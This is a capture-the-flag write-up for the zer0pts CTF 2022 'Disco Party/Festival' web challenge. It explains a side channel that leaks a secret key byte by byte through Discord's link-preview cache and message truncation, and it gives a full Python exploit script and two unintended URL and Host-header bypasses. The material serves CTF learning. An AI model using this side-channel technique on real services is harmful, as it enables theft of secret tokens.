owned this note
owned this note
Published
Linked with GitHub
# Disco Party/Festival - zer0pts CTF 2022
###### tags: `writeup` `zer0pts CTF 2022` `web`
Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9
# Overview
- You can report the URL of the post to the admin by `Discord`
- The URL is sanitized
- Query string and hash is not allowed
- different host is not allowed
- The URL should be mapped to the `get_post`
- The post ID of the URL should be valid
- The URL is posted by putting the secret key that is unique for the post id
- detailed format is: `f"URL: {url}?key={key}\nReason: {reason}"`
- Your message is truncated by 2000 chars
- due to the message length limit
- You can't create the hundreds of report
- reCAPTCHA is required
- Your objective is to obtain the secret key
# Solution
## Sumamry
Add ~2000 / to the URL path so that each time we can only include 1 byte of the unknown key into the URL. Discord will cache the preview result for an already visited URL. A cached URL will have an embed attribute in the return value of the send API. Then we can leak key byte by byte using this side channel.
(This summary credits to [@Q7](https://discord.com/channels/814766309866471424/955073023944318997/955125005807681646). Thanks for solving and concise summary!)
## Details
Checking whether the URL is mapped or not is checked by `werkzeug.routing.MapAdapeter.match(path)` method. Since this is the internal method used by Flask, you can't spoof this mapping. This method checks the path with regex internally constructed. Regex that generated by rule `/post/<string(length=16):id>` is this: `r'^\|/+?post/+?(?P<id>[^/]{16})$'`. From this regex, the URL that `/` was added to the head of the path will be accepted. Using this, You can post a very long URL. Combined with the fact that this application truncate the message by 2000 chars, You can post the URL like `http://party.ctf.zer0pts.com:8007/// ... ///post/0123456789abcdef?key=A`
When the bot posts a URL to the Discord, Discord shows the panel that the information of the sites is written. While generating this requires the request to the URL, Discord internally held the cache of this information.
![](https://i.imgur.com/gQKrRsm.png)
You can determine whether the URL is cached or not by viewing the response of [Create Message](https://discord.com/developers/docs/resources/channel#create-message). (Note that this is not documented behavior.)
```python
In [1]: import discord
...: import asyncio
...: from time import sleep
...:
...: channel_id = ****
...: discord_secret = ****
...:
...: client = discord.Client()
...: channel = None
...:
...: @client.event
...: async def on_ready():
...: global channel
...: channel = client.get_channel(channel_id)
...: assert channel is not None
...:
...: loop = asyncio.get_event_loop()
...: loop.create_task(client.start(discord_secret))
In [2]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds
Out[2]: []
In [3]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds
Out[3]: [<discord.embeds.Embed at 0x7fffedf00160>]
In [4]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds
Out[4]: [<discord.embeds.Embed at 0x7ffff41df3a0>]
```
This means you can leak the secret key one by one using this oracle.
### Exploit
```python=
import os
from pydoc import cli
import string
import requests
import discord
import asyncio
import threading
import base64
from time import sleep
# connection info
HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "8017")
NETLOC = f'{HOST}:{PORT}'
channel_id = ****
discord_secret = ****
# discord
client = discord.Client()
channel = None
@client.event
async def on_ready():
global channel
print(f"We've logged in as {client.user}")
channel = client.get_channel(channel_id)
if channel is None:
print("failed to get channel")
exit(1)
discord_loop = asyncio.get_event_loop()
discord_loop.create_task(client.start(discord_secret))
threading.Thread(target=discord_loop.run_forever).start()
MESSAGE_LENGTH_LIMIT = 2000
def send_message(message):
assert channel is not None
task = asyncio.ensure_future(channel.send(message), loop=discord_loop)
while not task.done(): sleep(0.5)
return task.result()
while not client.is_ready():
sleep(0.5)
URLSAFE_BASE64_CHARS = string.ascii_letters + string.digits + "-_"
ID_LEN = 16
KEY_LEN = 10
FILL_LEN = MESSAGE_LENGTH_LIMIT - len(f"url: http://{netloc}post/{'a' * ID_LEN}?key=")
def get_url(id, leak_num):
assert(len(id) == ID_LEN)
url = f"http://{netloc}{'/' * (FILL_LEN - leak_num)}post/{id}"
return url
post_id = requests.post(
f"http://{netloc}/api/new",
{ "title": "hey", "content": "hello" }
).json()["action"].split('/')[-1]
print(f'[+] {post_id=}')
current_key = ''
while len(current_key) < KEY_LEN:
report_url = get_url(post_id, len(current_key) + 1)
input(f"[*] please report this url: {report_url}\n> ")
print("[+] searching", end="", flush=True)
for c in URLSAFE_BASE64_CHARS:
posted_url = f'{report_url}?key={current_key}{c}'
res = send_message(posted_url)
print(".", end="", flush=True)
if not res.embeds: continue
print()
current_key += c
print(f"[+] found, {current_key=}")
break
else:
print("[!] Key Not found")
exit(1)
post = requests.get(
f"http://{netloc}/post/{post_id}?key={current_key}"
).content
assert b"Your flag is: " in post
flag = post.split(b'Your flag is: ')[1].split(b'</strong>')[0]
print(flag)
```
## Unintended
Unfortunately, the first problem(Disco Party) had two non-intended vulnerability.
The first one was the lack of sanitizing of fragments and query strings. By exploiting this, you could send any URL you wanted with a payload like the following: `http://party.ctf.zer0pts.com:8007/post/0123456789abcdef# http://example.com/`. The second one was checking for the host by using the A variable. Since this depends on the Host header, you can set anything to this variable. We sincerely apologize for releasing two similar problems.